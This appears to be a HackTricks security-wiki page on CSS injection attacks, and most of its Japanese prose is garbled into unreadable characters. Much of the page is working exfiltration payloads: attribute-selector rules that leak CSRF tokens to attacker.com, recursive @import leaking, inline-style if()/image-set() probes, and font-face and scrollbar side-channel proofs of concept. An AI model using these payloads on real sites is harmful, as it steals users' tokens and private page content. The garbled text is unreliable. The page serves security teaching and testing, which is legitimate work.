CSS Injection
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
CSS Injection
LESS Code Injection
LESSã¯å€æ°ãããã¯ã¹ã€ã³ã颿°ããããŠåŒ·åãª@importãã£ã¬ã¯ãã£ãã远å ãã人æ°ã®ããCSSããªããã»ããµã§ããã³ã³ãã€ã«äžãLESSãšã³ãžã³ã¯**@importã§åç
§ããããªãœãŒã¹ãååŸã**ã(inline)ãªãã·ã§ã³ã䜿çšãããŠããå Žåããããã®å
容ãçµæã®CSSã«åã蟌ãã§ïŒâinlineâïŒããŸããŸãã
{{#ref}} less-code-injection.md {{/ref}}
Attribute Selector
CSSã»ã¬ã¯ã¿ã¯inputèŠçŽ ã®name屿§ãvalue屿§ã®å€ã«ãããããããã«äœæãããŸããinputèŠçŽ ã®value屿§ãç¹å®ã®æåã§å§ãŸããšããããããå®çŸ©ãããå€éšãªãœãŒã¹ãèªã¿èŸŒãŸããŸã:
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
ãããããã®ææ³ã«ã¯ hidden 㪠input èŠçŽ (type=âhiddenâ) ãæ±ãéã®å¶çŽããããŸããhidden èŠçŽ ã¯èæ¯ãèªã¿èŸŒãŸãªãããã§ãã
é ãèŠçŽ ã®ãã€ãã¹
ãã®å¶çŽãåé¿ããã«ã¯ã~ general sibling combinator ã䜿ã£ãŠåŸç¶ã® sibling èŠçŽ ãã¿ãŒã²ããã«ã§ããŸãããããš CSS ã«ãŒã«ã¯ hidden input èŠçŽ ã®åŸã«ç¶ããã¹ãŠã®å åŒèŠçŽ ã«é©çšãããèæ¯ç»åãèªã¿èŸŒãŸããŸã:
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
ãã®ææ³ãæªçšããå®è·µçãªäŸã¯ãæäŸãããã³ãŒãã¹ããããã«è©³è¿°ãããŠããŸããé²èЧã¯hereã
CSS Injection ã®åææ¡ä»¶
For the CSS Injection technique to be effective, certain conditions must be met:
- Payload Length: CSS Injection ãã¯ã¿ãŒã¯ãäœæãã selectors ãåããã®ã«ååãªé·ãã® payload ããµããŒãããŠããå¿ èŠããããŸãã
- CSS Re-evaluation: ããŒãžããã¬ãŒã åã§ããããš â ããã¯ãæ°ãã«çæãã payload ã䜿ã£ãŠ CSS ã®åè©äŸ¡ãããªã¬ãŒããããã«å¿ èŠã§ãã
- External Resources: ãã®ææ³ã¯å€éšãã¹ããããç»åã䜿çšã§ããããšãåæãšããŠããŸããããã¯ãµã€ãã® Content Security Policy (CSP) ã«ããå¶éãããå¯èœæ§ããããŸãã
Blind Attribute Selector
As explained in this post, ã»ã¬ã¯ã¿ :has ãš :not ãçµã¿åãããããšã§ãblind elements ããã§ãã³ã³ãã³ããèå¥ããããšãå¯èœã§ãã
ãŸããåãã¿ã€ãã®è€æ°ã®ãããã¯ããæ
å ±ãæœåºããããã«ããããã®ã»ã¬ã¯ã¿ã䜿ãããšãå¯èœã§ããäŸãã°ïŒ
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
Combining this with the following @import technique, itâs possible to exfiltrate a lot of info using CSS injection from blind pages with blind-css-exfiltration.
@import
åã® technique ã«ã¯ããã€ãæ¬ ç¹ãããã®ã§ãprerequisites ã確èªããŠãã ãããsend multiple links to the victim ãå¯èœã§ããããããã㯠iframe the CSS injection vulnerable page ãå¯èœã§ããå¿ èŠããããŸãã
ããããCSS @import ã䜿ã£ãŠãã®ææ³ã®ç²ŸåºŠãäžããããã²ãšã€ã®å·§åŠãªãã¯ããã¯ããããŸãã
ããã¯æåã« Pepe Vila ã瀺ãããã®ã§ãåäœã¯æ¬¡ã®ããã«ãªããŸã:
åã page ãæ¯åäœåãã®ç°ãªã payloads ã§äœåºŠãèªã¿èŸŒã代ããã«ïŒåã®ææ³ã®ããã«ïŒãpage ãäžåºŠã ãèªã¿èŸŒã¿ãattackers server ãžã® import ã®ã¿ãè¡ãããã«ããŸãïŒããã victim ã«éã payload ã§ãïŒ:
@import url("//attacker.com:5001/start?");
- importã¯æ»æè ããããã€ãã®CSSã¹ã¯ãªãããåãåãããã©ãŠã¶ããããèªã¿èŸŒã¿ãŸãã
- æ»æè ãéãCSSã¹ã¯ãªããã®æåã®éšåã¯å¥ã® @import ãæ»æè ã®ãµãŒããŒãžéããã®ã§ãã
- æ»æè ã®ãµãŒããŒã¯ãã®ãªã¯ãšã¹ãã«ãŸã å¿çããŸããããŸãããã€ãã®æåã leak ããŠããããã®importã«å¯ŸããŠæ¬¡ã®æåãleakãããã€ããŒãã§å¿çãããããã§ãã
- ãã€ããŒãã®2çªç®ã§ãã倧ããªéšåã¯attribute selector leakage payloadã«ãªããŸãã
- ããã«ããæ»æè ã®ãµãŒããŒã«ç§å¯ã®æåã®æåãšæåŸã®æåãéä¿¡ãããŸãã
- æ»æè ã®ãµãŒããŒãç§å¯ã®æåãšæåŸã®æåãåãåããšãã¹ããã2ã§èŠæ±ãããimportã«å¿çããŸãã
- å¿çã¯ã¹ããã2ã3ã4ãšãŸã£ããåãã«ãªããŸãããä»åã¯ç§å¯ã®2çªç®ã®æåãšæåŸãã2çªç®ã®æåãèŠã€ããããšããŸãã
æ»æè ã¯ãã®ã«ãŒããç¹°ãè¿ããç§å¯ãå®å šã«leakãããŸã§ç¶ããŸãã
You can find the original Pepe Vilaâs code to exploit this here or you can find almost the same code but commented here.
Tip
ã¹ã¯ãªããã¯æ¯å2æåïŒå é ãšæ«å°ŸïŒãçºèŠããããšããŸãããã㯠attribute selector ãæ¬¡ã®ãããªããšãå¯èœã«ããããã§ã:
css /* value^= to match the beggining of the value*/ input[value^=â0â] { âs0: url(http://localhost:5001/leak?pre=0); }
/* value$= to match the ending of the value*/ input[value$=âfâ] { âe0: url(http://localhost:5001/leak?post=f); }
ããã«ããã¹ã¯ãªããã¯ç§å¯ãããéãleakã§ããŸãã
Warning
ã¹ã¯ãªãããçºèŠããprefix + suffixãæ¢ã«å®å šãªflagã§ããããšãæ£ããæ€åºããªãå Žåãããããã®å Žåãã¬ãã£ãã¯ã¹åŽã«å¯ŸããŠåæ¹ãžããµãã£ãã¯ã¹åŽã«å¯ŸããŠåŸæ¹ãžæ¢çŽ¢ãç¶ããæçµçã«ãã³ã°ããããšããããŸãã
å¿é ãããŸãããåºåã確èªããŠãã ãããããã«flagãèŠããŸãã
Inline-Style CSS Exfiltration (attr() + if() + image-set())
This primitive enables exfiltration using only an elementâs inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
Warning
if()ã§ã®ç䟡æ¯èŒã¯æååãªãã©ã«ã«äºéåŒçšç¬ŠïŒdouble quotesïŒãå¿ èŠã§ããã·ã³ã°ã«ã¯ã©ãŒãã§ã¯ãããããŸããã
- Sink: èŠçŽ ã®style屿§ãå¶åŸ¡ããã¿ãŒã²ãã屿§ãåäžèŠçŽ äžã«ããããšã確èªããŸãïŒattr()ã¯åäžèŠçŽ ã®å±æ§ã®ã¿ãèªã¿åããŸãïŒã
- Read: 屿§ãCSS倿°ã«ã³ããŒããŸã: âval: attr(title).
- Decide: 倿°ãæåååè£ãšæ¯èŒããå ¥ãåã®æ¡ä»¶ã§URLãéžæããŸã: âsteal: if(style(âval:â1â): url(//attacker/1); else: url(//attacker/2)).
- Exfiltrate: éžæãããšã³ããã€ã³ããžãªã¯ãšã¹ãã匷å¶ããããã« background: image-set(var(âsteal))ïŒãŸãã¯ä»»æã®ãªã¯ãšã¹ãçºçããããã£ïŒãé©çšããŸãã
Attempt (does not work; single quotes in comparison):
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
åäœãã payloadïŒæ¯èŒã§ã¯ããã«ã¯ã©ãŒããå¿ é ïŒïŒ
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
ãã¹ããããæ¡ä»¶ãçšãã屿§å€ã®åæ:
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
çŸå®çãªã㢠(probing usernames):
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
泚æç¹ãšå¶é:
- èª¿æ»æç¹ã§ã¯ Chromium-based browsers ã§åäœããŸããå¥ã®ã¬ã³ããªã³ã°ãšã³ãžã³ã§ã¯æåãç°ãªãå¯èœæ§ããããŸãã
- æé/åæå¯èœãªå€ç©ºéïŒIDs, flags, short usernamesïŒã«æé©ã§ããå€éšã¹ã¿ã€ã«ã·ãŒããªãã§ä»»æé·ã®æååãçãã®ã¯äŸç¶ãšããŠå°é£ã§ãã
- URLãååŸããä»»æã®CSSããããã£ã¯ãªã¯ãšã¹ããããªã¬ãŒããããã«äœ¿çšã§ããŸãïŒäŸ: background/image-setãborder-imageãlist-styleãcursorãcontentïŒã
èªååïŒa Burp Custom Action ã¯ãã¹ãããã inline-style ãã€ããŒããçæããŠå±æ§å€ãç·åœããã§ååŸããããšãã§ããŸã: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
ãã®ä»ã®ã»ã¬ã¯ã¿
DOMã®éšåãžã¢ã¯ã»ã¹ããä»ã®æ¹æ³ïŒCSS selectorsïŒ:
- .class-to-search:nth-child(2): ããã¯DOMå ã§ã¯ã©ã¹ âclass-to-searchâ ãæã€2çªç®ã®èŠçŽ ãæ€çŽ¢ããŸãã
- :empty ã»ã¬ã¯ã¿: äŸãã° ãã®è§£èª¬** ã§äœ¿çšãããŠããŸã:**
css [role^=âimgâ][aria-label=â1â]:empty { background-image: url(âYOUR_SERVER_URL?1â); }
ãšã©ãŒããŒã¹ã® XS-Search
Reference: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq
å šäœã®æå³ã¯ãå¶åŸ¡ããããšã³ããã€ã³ãããã«ã¹ã¿ã ãã©ã³ãã䜿çšããæå®ãããªãœãŒã¹ (favicon.ico) ãèªã¿èŸŒããªãå Žåã«ã®ã¿ããã¹ãïŒãã®å Žå âAâïŒããã®ãã©ã³ãã§è¡šç€ºãããããšã確èªããããšã§ãã
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- ã«ã¹ã¿ã ãã©ã³ãã®äœ¿çš:
- ã»ã¯ã·ã§ã³å ã®
- ãã©ã³ãå㯠poc ã§ãå€éšãšã³ããã€ã³ã (http://attacker.com/?leak) ããååŸãããŸãã
- unicode-range ããããã£ã¯ U+0041 ã«èšå®ãããç¹å®ã® Unicode æå âAâ ã察象ãšããŠããŸãã
- Object èŠçŽ ãšãã©ãŒã«ããã¯ããã¹ã:
- ã»ã¯ã·ã§ã³ã« id="poc0" ã®
- ãã®èŠçŽ ã® font-family ã¯
- ãªãœãŒã¹ (favicon.ico) ã®èªã¿èŸŒã¿ã«å€±æããå Žåã
- å€éšãªãœãŒã¹ãèªã¿èŸŒããªãå Žåããã©ãŒã«ããã¯ã³ã³ãã³ãïŒâAâïŒã¯ã«ã¹ã¿ã ãã©ã³ã poc ã䜿ã£ãŠã¬ã³ããªã³ã°ãããŸãã
Styling Scroll-to-Text Fragment
The :target ç䌌ã¯ã©ã¹ã¯ãCSS Selectors Level 4 specification ã«èšèŒãããŠããããã«ãURL fragment ã«ãã£ãŠã¿ãŒã²ããã«ãããèŠçŽ ãéžæããããã«äœ¿çšãããŸãã::target-text ã¯ããã©ã°ã¡ã³ãã§ããã¹ããæç€ºçã«ã¿ãŒã²ããã«ãããªãéãããããªãèŠçŽ ã«ããããããªãããšãçè§£ããŠããããšãéèŠã§ãã
æ»æè ã Scroll-to-text fragment æ©èœãæªçšãããšãHTML ã€ã³ãžã§ã¯ã·ã§ã³ãä»ããŠèªèº«ã®ãµãŒããŒãããªãœãŒã¹ãèªã¿èŸŒãŸããããšã§ããŠã§ãããŒãžäžã«ç¹å®ã®ããã¹ããååšãããã確èªã§ãããšããã»ãã¥ãªãã£äžã®æžå¿µãçããŸãããã®ææ³ã¯æ¬¡ã®ãã㪠CSS ã«ãŒã«ãæ³šå ¥ããããšãå«ã¿ãŸãïŒ
:target::before {
content: url(target.png);
}
ãã®ãããªã·ããªãªã§ã¯ãããŒãžäžã« âAdministratorâ ãšããããã¹ããååšããå ŽåããªãœãŒã¹ target.png ããµãŒããŒãžèŠæ±ããããã®ããã¹ãã®ååšã瀺ãããŸããæ»æã®å®è¡äŸã¯ãæ³šå ¥ããã CSS ã Scroll-to-text fragment ãšå ±ã«åã蟌ãã ç¹å¥ã«çް工ããã URL ãçšããŠè¡ããŸã:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
ããã§ã¯ãæ»æè ãHTML injectionãæäœããŠCSSã³ãŒããéä¿¡ããScroll-to-text FragmentïŒ#:~:text=AdministratorïŒã䜿ã£ãŠç¹å®ã®ããã¹ã âAdministratorâ ãçããŸãããããã®ããã¹ããèŠã€ããã°ãæå®ããããªãœãŒã¹ãèªã¿èŸŒãŸããçµæãšããŠãã®ååšãæ»æè ã«ç¥ãããŠããŸããŸãã
ç·©åçãšããŠã以äžã®ç¹ã«æ³šæããŠãã ããïŒ
- å¶çŽããã STTF ãããã³ã°: Scroll-to-text Fragment (STTF) ã¯åèªãæã®ã¿ããããããããèšèšãããŠããããã®ããä»»æã®ç§å¯ãããŒã¯ã³ãleakããèœåã¯å¶éãããŸãã
- ãããã¬ãã«ã®ãã©ãŠãžã³ã°ã³ã³ããã¹ããžã®å¶é: STTFã¯ãããã¬ãã«ã®ãã©ãŠãžã³ã°ã³ã³ããã¹ãã§ã®ã¿åäœããiframeså ã§ã¯æ©èœããªããããæªçšã®è©Šã¿ã¯ãŠãŒã¶ãŒã«ãšã£ãŠããç®ç«ã¡ãŸãã
- ãŠãŒã¶ãŒã¢ã¯ãã£ããŒã·ã§ã³ã®å¿ èŠæ§: STTFã¯åäœã«user-activation gestureãèŠæ±ãããããæªçšã¯ãŠãŒã¶ãŒäž»å°ã®ããã²ãŒã·ã§ã³ãä»ããå Žåã«éãããŸãããã®èŠä»¶ã«ããããŠãŒã¶ãŒæäœãªãã«æ»æãèªååããããªã¹ã¯ã¯å€§å¹ ã«è»œæžãããŸãããšã¯ãããããã°æçš¿ã®èè ã¯ç¹å®ã®æ¡ä»¶ããã€ãã¹ïŒäŸïŒsocial engineeringãåºã䜿ãããŠããbrowser extensionsãšã®çžäºäœçšïŒã«ãã£ãŠæ»æã®èªååã容æã«ãªãå¯èœæ§ãææããŠããŸãã
ãããã®ä»çµã¿ãšæœåšçãªè匱æ§ãææ¡ããããšã¯ããŠã§ãã»ãã¥ãªãã£ãç¶æãããã®ãããªæªçšçææ³ãã身ãå®ãäžã§éèŠã§ãã
For more information check the original report: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
ãã¡ãã§ãã®ææ³ã䜿ã£ãexploit using this technique for a CTF hereã確èªã§ããŸãã
@font-face / unicode-range
ç¹å®ã®ãŠãã³ãŒãå€ã«å¯ŸããŠå€éšãã©ã³ããæå®ã§ãããã®ãŠãã³ãŒãå€ãããŒãžã«ååšããå Žåã«ã®ã¿ååŸãããŸããäŸãã°:
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>
<p id="sensitive-information">AB</p>
htm
When you access this page, Chrome and Firefox fetch â?Aâ and â?Bâ because text node of sensitive-information contains âAâ and âBâ characters. But Chrome and Firefox do not fetch â?Câ because it does not contain âCâ. This means that we have been able to read âAâ and âBâ.
ããã¹ãããŒãæ å ±æŒããïŒIïŒïŒåå (ligatures)
åè: Wykradanie danych w Åwietnym stylu â czyli jak wykorzystaÄ CSS-y do ataków na webaplikacjÄ
ããã§èª¬æããææ³ã¯ããã©ã³ãã®ååãå©çšããŠããŒãããããã¹ããæœåºããå¹ ã®å€åãç£èŠãããã®ã§ããããã»ã¹ã¯è€æ°ã®æé ã«åãããŸãïŒ
- ã«ã¹ã¿ã ãã©ã³ãã®äœæ:
- SVG ãã©ã³ãã¯ãhoriz-adv-x 屿§ãæã€ã°ãªããçšããŠäœæããã2æåã®ã·ãŒã±ã³ã¹ã衚ãã°ãªãã«å€§ããªå¹ ãèšå®ããŸãã
- Example SVG glyph:
, where âXYâ denotes a two-character sequence. - ãããã®ãã©ã³ã㯠fontforge ã䜿ã£ãŠ woff ãã©ãŒãããã«å€æãããŸãã
- å¹ ã®å€åã®æ€åº:
- ããã¹ããæãè¿ãããªãããã« (white-space: nowrap) CSS ã䜿çšããã¹ã¯ããŒã«ããŒã®ã¹ã¿ã€ã«ãã«ã¹ã¿ãã€ãºããŸãã
- ç¬ç¹ã«ã¹ã¿ã€ã«èšå®ãããæ°Žå¹³ã¹ã¯ããŒã«ããŒã®åºçŸããç¹å®ã®ååïŒãããã£ãŠç¹å®ã®æååïŒãããã¹ãã«å«ãŸããŠããããšã瀺ãã€ã³ãžã±ãŒã¿ïŒãªã©ã¯ã«ïŒãšããŠæ©èœããŸãã
- The CSS involved: css body { white-space: nowrap; } body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
- æ»æããã»ã¹:
- Step 1: å¹ ã倧ããããæåã®ãã¢çšã®ãã©ã³ããäœæãããŸãã
- Step 2: ã¹ã¯ããŒã«ããŒãå©çšããããªãã¯ã§ãå¹ ã®å€§ããã°ãªãïŒæåãã¢ã®ååïŒãã¬ã³ããªã³ã°ãããéãæ€åºãããããæååã®ååšã瀺ããŠããããå€å®ããŸãã
- Step 3: ååãæ€åºããããšãæ€åºããããã¢ãå«ã¿ãååŸã«1æåãå ãã3æåã·ãŒã±ã³ã¹ãè¡šãæ°ããã°ãªããçæãããŸãã
- Step 4: 3æåååã®æ€åºãè¡ããŸãã
- Step 5: ãã®ããã»ã¹ãç¹°ãè¿ããåŸã ã«å šæãæããã«ããŠãããŸãã
- æé©å:
- çŸåšã®åæåæ¹æ³ïŒ<meta refresh=⊠ã䜿çšïŒã¯æé©ã§ã¯ãããŸããã
- ããå¹ççãªã¢ãããŒããšããŠãCSS ã® @import ããªãã¯ãå©çšããããšã§ãšã¯ã¹ããã€ãã®ããã©ãŒãã³ã¹ãåäžãããããšãèããããŸãã
ããã¹ãããŒãæ å ±æŒããïŒIIïŒïŒããã©ã«ããã©ã³ãã§ charset ã leak ããïŒå€éšã¢ã»ããäžèŠïŒ
åè: PoC using Comic Sans by @Cgvwzq & @Terjanq
ãã®ããªãã¯ã¯ãã® Slackers thread ã§å ¬éãããŸãããããã¹ãããŒãã§äœ¿ãããŠãã charset ã¯ããã©ãŠã¶ã«ããªã€ã³ã¹ããŒã«ãããŠããããã©ã«ããã©ã³ãã䜿ã£ãŠ leak ããããšãã§ããŸãïŒå€éšãã©ã³ããã«ã¹ã¿ã ãã©ã³ãã¯äžèŠã§ãã
ãã®ææ³ã¯ãã¢ãã¡ãŒã·ã§ã³ã䜿ã£ãŠ div ã®å¹ ãåŸã ã«åºããããã¹ãã® âsuffixâ éšåãã âprefixâ éšåãž1æåãã€ç§»åããããšãããã®ã§ãããã®éçšã«ãããããã¹ãã¯æ¬¡ã®ããã«2ã€ã®ã»ã¯ã·ã§ã³ã«åå²ãããŸãïŒ
- Prefix: æåã®è¡ã
- Suffix: ç¶ãè¡ïŒè€æ°è¡ïŒã
æåã®é·ç§»ã¯æ¬¡ã®ããã«èŠããŸã:
C
ADB
CA
DB
CAD
B
CADB
ãã®é·ç§»äžã«ãunicode-range trick ã䜿ãããŠãæ°ãã« prefix ã«ç§»ã£ãæåãèå¥ããŸããããã¯ãã©ã³ãã Comic Sans ã«åãæ¿ããããšã§å®çŸãããŸããComic Sans ã¯ããã©ã«ããã©ã³ããããé«ããããããã瞊æ¹åã®ã¹ã¯ããŒã«ããŒãçºçãããŸãããã®ã¹ã¯ããŒã«ããŒã®åºçŸããprefix ã«æ°ããæåãå ãã£ãããšã鿥çã«ç€ºããŸãã
ãã®æ¹æ³ã¯ãæ°ããçŸãããŠããŒã¯ãªæåãæ€åºããããšã¯ã§ããŸãããã©ã®æåãç¹°ãè¿ãããŠããããŸã§ã¯ç¹å®ã§ãããç¹°ãè¿ããèµ·ããŠãããšããããšã ãã倿ããŸãã
Tip
åºæ¬çã«ãunicode-range ã¯æåãæ€åºããããã«äœ¿ãããŸã ããå€éšãã©ã³ããèªã¿èŸŒã¿ãããªãã®ã§å¥ã®æ¹æ³ãçšããå¿ èŠããããŸãã
æåïŒcharïŒã èŠã€ãã ãšããã®æåã«ã¯ããªã€ã³ã¹ããŒã«ã® Comic Sans ãã©ã³ããå²ãåœãŠãããæåã 倧ãããªã£ãŠ çžŠã¹ã¯ããŒã«ããŒã çºç ãããããæ€åºããã char ã leak ããŸãã
PoC ããæç²ããã³ãŒãã確èªããŠãã ãã:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)
Reference: ãã㯠an unsuccessful solution in this writeup ã§èšåãããŠããŸã
